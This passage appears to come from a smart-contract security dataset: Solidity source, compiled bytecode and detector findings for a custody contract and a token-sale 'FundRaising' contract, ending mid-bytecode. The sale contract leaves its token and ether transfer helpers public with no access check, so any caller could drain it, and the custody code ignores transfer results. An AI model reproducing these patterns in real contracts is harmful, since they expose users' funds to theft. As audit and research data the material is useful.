{xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Custody is Ownable { using Address for address; mapping(address => bool) public authorized; IERC20 public token; modifier onlyAuthorized() { require(authorized[msg.sender], "Not authorized"); _; } constructor(address _tokenAddress) { token = IERC20(_tokenAddress); authorized[owner()] = true; } // Reject any ethers sent to this smart-contract receive() external payable { revert("Rejecting tx with ethers sent"); } function authorize(address _account) public onlyOwner { authorized[_account] = true; } function forbid(address _account) public onlyOwner { require(_account != owner(), "Owner access cannot be forbidden!"); authorized[_account] = false; } function transferOwnership(address newOwner) public override onlyOwner { authorized[owner()] = false; super.transferOwnership(newOwner); authorized[owner()] = true; } function withdraw(uint256 amount) onlyAuthorized public { token.transfer(msg.sender, amount); } // Allow to withdraw any arbitrary token, should be used by // contract owner to recover accidentally received funds. function recover(address _tokenAddress, uint256 amount) onlyOwner public { IERC20(_tokenAddress).transfer(msg.sender, amount); } // Allows to withdraw funds into many addresses in one tx // (or to do mass bounty payouts) function payout(address[] calldata _recipients, uint256[] calldata _amounts) onlyOwner public { require(_recipients.length == _amounts.length, "Invalid array length"); for (uint256 i = 0; i < _recipients.length; i++) { token.transfer(_recipients[i], _amounts[i]); } } }
0x6080604052600436106100955760003560e01c8063b6a5d7de11610059578063b6a5d7de14610197578063b9181611146101c0578063c176e639146101fd578063f2fde38b14610226578063fc0c546a1461024f576100d5565b80632e1a7d4d146100da5780635705ae4314610103578063715018a61461012c5780637e95cd27146101435780638da5cb5b1461016c576100d5565b366100d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100cc90611198565b60405180910390fd5b600080fd5b3480156100e657600080fd5b5061010160048036038101906100fc9190610f87565b61027a565b005b34801561010f57600080fd5b5061012a60048036038101906101259190610ead565b6103b9565b005b34801561013857600080fd5b506101416104c7565b005b34801561014f57600080fd5b5061016a60048036038101906101659190610e84565b610601565b005b34801561017857600080fd5b5061018161074e565b60405161018e91906110be565b60405180910390f35b3480156101a357600080fd5b506101be60048036038101906101b99190610e84565b610777565b005b3480156101cc57600080fd5b506101e760048036038101906101e29190610e84565b61084d565b6040516101f49190611102565b60405180910390f35b34801561020957600080fd5b50610224600480360381019061021f9190610ee9565b61086d565b005b34801561023257600080fd5b5061024d60048036038101906102489190610e84565b610a95565b005b34801561025b57600080fd5b50610264610bda565b604051610271919061111d565b60405180910390f35b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610306576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102fd906111d8565b60405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b81526004016103639291906110d9565b602060405180830381600087803b15801561037d57600080fd5b505af1158015610391573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103b59190610f5e565b5050565b6103c1610c00565b73ffffffffffffffffffffffffffffffffffffffff166103df61074e565b73ffffffffffffffffffffffffffffffffffffffff1614610435576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042c906111b8565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b81526004016104709291906110d9565b602060405180830381600087803b15801561048a57600080fd5b505af115801561049e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104c29190610f5e565b505050565b6104cf610c00565b73ffffffffffffffffffffffffffffffffffffffff166104ed61074e565b73ffffffffffffffffffffffffffffffffffffffff1614610543576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053a906111b8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610609610c00565b73ffffffffffffffffffffffffffffffffffffffff1661062761074e565b73ffffffffffffffffffffffffffffffffffffffff161461067d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610674906111b8565b60405180910390fd5b61068561074e565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156106f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ea90611178565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61077f610c00565b73ffffffffffffffffffffffffffffffffffffffff1661079d61074e565b73ffffffffffffffffffffffffffffffffffffffff16146107f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ea906111b8565b60405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60016020528060005260406000206000915054906101000a900460ff1681565b610875610c00565b73ffffffffffffffffffffffffffffffffffffffff1661089361074e565b73ffffffffffffffffffffffffffffffffffffffff16146108e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e0906111b8565b60405180910390fd5b818190508484905014610931576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092890611138565b60405180910390fd5b60005b84849050811015610a8e57600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8686848181106109b6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906109cb9190610e84565b858585818110610a04577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b905060200201356040518363ffffffff1660e01b8152600401610a289291906110d9565b602060405180830381600087803b158015610a4257600080fd5b505af1158015610a56573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a7a9190610f5e565b508080610a8690611275565b915050610934565b5050505050565b610a9d610c00565b73ffffffffffffffffffffffffffffffffffffffff16610abb61074e565b73ffffffffffffffffffffffffffffffffffffffff1614610b11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b08906111b8565b60405180910390fd5b600060016000610b1f61074e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610b7981610c08565b6001806000610b8661074e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b610c10610c00565b73ffffffffffffffffffffffffffffffffffffffff16610c2e61074e565b73ffffffffffffffffffffffffffffffffffffffff1614610c84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7b906111b8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610cf4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ceb90611158565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081359050610dc08161142f565b92915050565b60008083601f840112610dd857600080fd5b8235905067ffffffffffffffff811115610df157600080fd5b602083019150836020820283011115610e0957600080fd5b9250929050565b60008083601f840112610e2257600080fd5b8235905067ffffffffffffffff811115610e3b57600080fd5b602083019150836020820283011115610e5357600080fd5b9250929050565b600081519050610e6981611446565b92915050565b600081359050610e7e8161145d565b92915050565b600060208284031215610e9657600080fd5b6000610ea484828501610db1565b91505092915050565b60008060408385031215610ec057600080fd5b6000610ece85828601610db1565b9250506020610edf85828601610e6f565b9150509250929050565b60008060008060408587031215610eff57600080fd5b600085013567ffffffffffffffff811115610f1957600080fd5b610f2587828801610dc6565b9450945050602085013567ffffffffffffffff811115610f4457600080fd5b610f5087828801610e10565b925092505092959194509250565b600060208284031215610f7057600080fd5b6000610f7e84828501610e5a565b91505092915050565b600060208284031215610f9957600080fd5b6000610fa784828501610e6f565b91505092915050565b610fb981611209565b82525050565b610fc88161121b565b82525050565b610fd781611251565b82525050565b6000610fea6014836111f8565b9150610ff5826112ed565b602082019050919050565b600061100d6026836111f8565b915061101882611316565b604082019050919050565b60006110306021836111f8565b915061103b82611365565b604082019050919050565b6000611053601d836111f8565b915061105e826113b4565b602082019050919050565b60006110766020836111f8565b9150611081826113dd565b602082019050919050565b6000611099600e836111f8565b91506110a482611406565b602082019050919050565b6110b881611247565b82525050565b60006020820190506110d36000830184610fb0565b92915050565b60006040820190506110ee6000830185610fb0565b6110fb60208301846110af565b9392505050565b60006020820190506111176000830184610fbf565b92915050565b60006020820190506111326000830184610fce565b92915050565b6000602082019050818103600083015261115181610fdd565b9050919050565b6000602082019050818103600083015261117181611000565b9050919050565b6000602082019050818103600083015261119181611023565b9050919050565b600060208201905081810360008301526111b181611046565b9050919050565b600060208201905081810360008301526111d181611069565b9050919050565b600060208201905081810360008301526111f18161108c565b9050919050565b600082825260208201905092915050565b600061121482611227565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600061125c82611263565b9050919050565b600061126e82611227565b9050919050565b600061128082611247565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156112b3576112b26112be565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f496e76616c6964206172726179206c656e677468000000000000000000000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4f776e6572206163636573732063616e6e6f7420626520666f7262696464656e60008201527f2100000000000000000000000000000000000000000000000000000000000000602082015250565b7f52656a656374696e672074782077697468206574686572732073656e74000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4e6f7420617574686f72697a6564000000000000000000000000000000000000600082015250565b61143881611209565b811461144357600080fd5b50565b61144f8161121b565b811461145a57600080fd5b50565b61146681611247565b811461147157600080fd5b5056fea2646970667358221220093aa147483a4c6fd11d95ff9881aef72a0eb78001ff46e68de1e5481a36570c64736f6c63430008030033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
2,558
0x07A69DdfD52efDCB1739bD76a72bEC6Fa4B71891
/** *Submitted for verification at Etherscan.io on 2021-04-27 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract FundRaising is Ownable { // use mantissa (ori * 10**18) to reserve precision // price means x usdt per token mapping(uint256 => uint256) public prices; address public usdt; address public mis; struct Round { uint256 price; uint start; uint duration; uint usdtMin; uint usdtMax; uint supply; } struct Record { uint256 lockedAmount; uint256 lockStartTs; bool useUnlockB; } // user => record amount mapping(address => uint256) public recordsLen; mapping(address => mapping(uint256 => Record)) public records; // round, account => paid mapping(uint => mapping(address => bool)) public paid; Round[] public rounds; // round => bought mapping(uint256 => uint256) public bought; // ============ Init ============ // constructor(address usdt_, address mis_) { usdt = usdt_; mis = mis_; uint256 usdtDecimals = IERC20Metadata(usdt).decimals(); uint256 misDecimals = IERC20Metadata(mis).decimals(); // 150 * 10**16 means 1.5 * 10**18 rounds.push(Round( 150 * 10**(16 + usdtDecimals - misDecimals), 1619161200, // start 72 * 3600, 20000 * 10**usdtDecimals, 50000 * 10**usdtDecimals, 270000 * 10**usdtDecimals // token supply in usdt )); rounds.push(Round( 200 * 10**(16 + usdtDecimals - misDecimals), 1619420400, // start 72 * 3600, 100 * 10**usdtDecimals, 1000 * 10**usdtDecimals, 216000 * 10**usdtDecimals // token supply in usdt )); rounds.push(Round( 250 * 10**(16 + usdtDecimals - misDecimals), 1619679600, // start 72 * 3600, 100 * 10**usdtDecimals, 1000 * 10**usdtDecimals, 180000 * 10**usdtDecimals // token supply in usdt )); } // ============ Lock Rules ============ // // cliff // n: now // t: release ts // a: total amount // r: release rate function cliff(uint256 n, uint256 t, uint256 a, uint256 r) internal pure returns(uint256) { uint256 total = a * r / 10**18; return n >= t ? total : 0; } // linear // n: now // t0: release start ts // t1: release end ts // s: step length // a: total amount // r: release rate function linear(uint256 n, uint256 t0, uint256 t1, uint256 s, uint256 a, uint256 r) internal pure returns(uint256) { uint256 total = a * r / 10**18; if (n < t0) { return 0; } else if (n >= t1) { return total; } else { uint256 perStep = total / ((t1 - t0) / s); uint passedSteps = (n - t0) / s; return perStep * passedSteps; } } function getUnlockA(uint totalLocked, uint lockStartTs) internal view returns(uint) { uint256 n = block.timestamp; uint256 t0 = lockStartTs + 1 * 30 * 86400; uint256 t1 = lockStartTs + 6 * 30 * 86400; uint256 r0 = 50 * 10**16; uint256 r1 = 50 * 10**16; uint256 s = 30 * 86400; return cliff(n, t0, totalLocked, r0) + linear(n, t0, t1, s, totalLocked, r1); } function getUnlockB(uint totalLocked, uint lockStartTs) internal view returns(uint) { uint256 n = block.timestamp; uint256 t0 = lockStartTs; uint256 t1 = lockStartTs + 10 * 30 * 86400; uint256 r = 100 * 10**16; uint256 s = 30 * 86400; return linear(n, t0, t1, s, totalLocked, r); } // ============ Admin ============ // function deposit(address token, uint256 amount) public onlyOwner { safeTransferFrom(token, msg.sender, address(this), amount); } function withdraw(address token, uint256 amount) public onlyOwner { safeTransfer(token, msg.sender, amount); } function updateRound( uint256 index, uint256 price, uint256 start, uint256 duration, uint256 usdtMin, uint256 usdtMax, uint256 supply ) public onlyOwner { Round memory round = Round(price, start, duration, usdtMin, usdtMax, supply); if (index >= 0 && index < rounds.length) { rounds[index] = round; } else { rounds.push(round); } } // ============ Anyone ============ // function _useUnlockPlanB(uint256 usdtAmount) public view returns(bool) { return usdtAmount >= 20000 * 10**IERC20Metadata(usdt).decimals(); } function buy(uint256 roundId, uint256 usdtAmount) public { require(roundId < rounds.length, "WRONG_ROUND_ID"); require(!paid[roundId][msg.sender], "ALREADY_BOUGHT"); Round storage round = rounds[roundId]; require(usdtAmount >= round.usdtMin, "LESS_THAN_MIN"); require(usdtAmount <= round.usdtMax, "MORE_THAN_MAX"); require(bought[roundId] + usdtAmount <= round.supply, "EXCEED_SUPPLY"); // transfer safeTransferFrom(usdt,msg.sender, address(this), usdtAmount); // record records[msg.sender][recordsLen[msg.sender]] = Record( 10**18 * usdtAmount / round.price, round.start + round.duration, _useUnlockPlanB(usdtAmount) ); recordsLen[msg.sender] += 1; // post paid[roundId][msg.sender] = true; bought[roundId] += usdtAmount; } mapping(address => uint256) public claimed; function available(address account) public view returns(uint256) { uint len = recordsLen[account]; uint total = 0; for(uint256 i=0;i< len;i++) { Record storage record = records[account][i]; if (record.useUnlockB) { total += getUnlockB(record.lockedAmount, record.lockStartTs); } else { total += getUnlockA(record.lockedAmount, record.lockStartTs); } } return total - claimed[account]; } function claim() public { uint a = available(msg.sender); require(a > 0, "NOTHING_TO_CLAIM"); safeTransfer(mis, msg.sender, a); claimed[msg.sender] += a; } function safeApprove(address token, address to, uint value) public { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer(address token, address to, uint value) public { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint value) public { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function safeTransferETH(address to, uint value) public { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } }
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c80638da5cb5b116100c3578063d6febde81161007c578063d6febde8146103b7578063d9fc4b61146103d3578063eb5625d9146103ef578063f2fde38b1461040b578063f3fef3a314610427578063fbbbd65b146104435761014d565b80638da5cb5b146102bd57806394b0e641146102db578063a031fb7f1461030b578063bc31c1c11461033b578063c884ef831461036b578063d1660f991461039b5761014d565b80636c9f0b47116101155780636c9f0b47146101f6578063715018a6146102145780637c4368c11461021e578063816d5d461461023a57806382a6c0ac146102565780638c65c81f146102885761014d565b8063073639971461015257806310098ad5146101825780632f48ab7d146101b257806347e7ef24146101d05780634e71d92d146101ec575b600080fd5b61016c60048036038101906101679190611b48565b610473565b6040516101799190611f44565b60405180910390f35b61019c60048036038101906101979190611a08565b610538565b6040516101a991906120df565b60405180910390f35b6101ba6106a1565b6040516101c79190611ec9565b60405180910390f35b6101ea60048036038101906101e59190611ae3565b6106c7565b005b6101f4610753565b005b6101fe610829565b60405161020b9190611ec9565b60405180910390f35b61021c61084f565b005b61023860048036038101906102339190611ae3565b610989565b005b610254600480360381019061024f9190611be9565b610aaf565b005b610270600480360381019061026b9190611ae3565b610c78565b60405161027f939291906120fa565b60405180910390f35b6102a2600480360381019061029d9190611b48565b610cbc565b6040516102b496959493929190612131565b60405180910390f35b6102c5610d08565b6040516102d29190611ec9565b60405180910390f35b6102f560048036038101906102f09190611a08565b610d31565b60405161030291906120df565b60405180910390f35b61032560048036038101906103209190611b71565b610d49565b6040516103329190611f44565b60405180910390f35b61035560048036038101906103509190611b48565b610d78565b60405161036291906120df565b60405180910390f35b61038560048036038101906103809190611a08565b610d90565b60405161039291906120df565b60405180910390f35b6103b560048036038101906103b09190611a94565b610da8565b005b6103d160048036038101906103cc9190611bad565b610ede565b005b6103ed60048036038101906103e89190611a31565b61133f565b005b61040960048036038101906104049190611a94565b611478565b005b61042560048036038101906104209190611a08565b6115ae565b005b610441600480360381019061043c9190611ae3565b611757565b005b61045d60048036038101906104589190611b48565b6117e2565b60405161046a91906120df565b60405180910390f35b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b1580156104dd57600080fd5b505afa1580156104f1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105159190611c87565b600a6105219190612293565b614e2061052e91906123b1565b8210159050919050565b600080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000805b8281101561064c576000600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002090508060020160009054906101000a900460ff161561061857610606816000015482600101546117fa565b8361061191906121b9565b9250610638565b61062a81600001548260010154611849565b8361063591906121b9565b92505b508080610644906124c7565b915050610581565b50600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481610698919061240b565b92505050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6106cf6118c9565b73ffffffffffffffffffffffffffffffffffffffff166106ed610d08565b73ffffffffffffffffffffffffffffffffffffffff1614610743576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073a9061203f565b60405180910390fd5b61074f8233308461133f565b5050565b600061075e33610538565b9050600081116107a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079a9061201f565b60405180910390fd5b6107d0600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff163383610da8565b80600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461081f91906121b9565b9250508190555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6108576118c9565b73ffffffffffffffffffffffffffffffffffffffff16610875610d08565b73ffffffffffffffffffffffffffffffffffffffff16146108cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c29061203f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008273ffffffffffffffffffffffffffffffffffffffff1682600067ffffffffffffffff8111156109e4577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015610a165781602001600182028036833780820191505090505b50604051610a249190611eb2565b60006040518083038185875af1925050503d8060008114610a61576040519150601f19603f3d011682016040523d82523d6000602084013e610a66565b606091505b5050905080610aaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa19061209f565b60405180910390fd5b505050565b610ab76118c9565b73ffffffffffffffffffffffffffffffffffffffff16610ad5610d08565b73ffffffffffffffffffffffffffffffffffffffff1614610b2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b229061203f565b60405180910390fd5b60006040518060c0016040528088815260200187815260200186815260200185815260200184815260200183815250905060008810158015610b71575060078054905088105b15610c03578060078981548110610bb1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000209060060201600082015181600001556020820151816001015560408201518160020155606082015181600301556080820151816004015560a08201518160050155905050610c6e565b6007819080600181540180825580915050600190039060005260206000209060060201600090919091909150600082015181600001556020820151816001015560408201518160020155606082015181600301556080820151816004015560a0820151816005015550505b5050505050505050565b6005602052816000526040600020602052806000526040600020600091509150508060000154908060010154908060020160009054906101000a900460ff16905083565b60078181548110610ccc57600080fd5b90600052602060002090600602016000915090508060000154908060010154908060020154908060030154908060040154908060050154905086565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60046020528060005260406000206000915090505481565b60066020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b60016020528060005260406000206000915090505481565b60096020528060005260406000206000915090505481565b6000808473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8585604051602401610dda929190611f1b565b6040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051610e289190611eb2565b6000604051808303816000865af19150503d8060008114610e65576040519150601f19603f3d011682016040523d82523d6000602084013e610e6a565b606091505b5091509150818015610e985750600081511480610e97575080806020019051810190610e969190611b1f565b5b5b610ed7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ece90611f5f565b60405180910390fd5b5050505050565b6007805490508210610f25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1c90611f7f565b60405180910390fd5b6006600083815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610fc3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fba90611fff565b60405180910390fd5b600060078381548110610fff577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020906006020190508060030154821015611056576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104d9061207f565b60405180910390fd5b806004015482111561109d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109490611fdf565b60405180910390fd5b80600501548260086000868152602001908152602001600020546110c191906121b9565b1115611102576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f99061205f565b60405180910390fd5b611130600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1633308561133f565b6040518060600160405280826000015484670de0b6b3a764000061115491906123b1565b61115e919061220f565b81526020018260020154836001015461117791906121b9565b815260200161118584610473565b1515815250600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055509050506001600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112a091906121b9565b9250508190555060016006600085815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021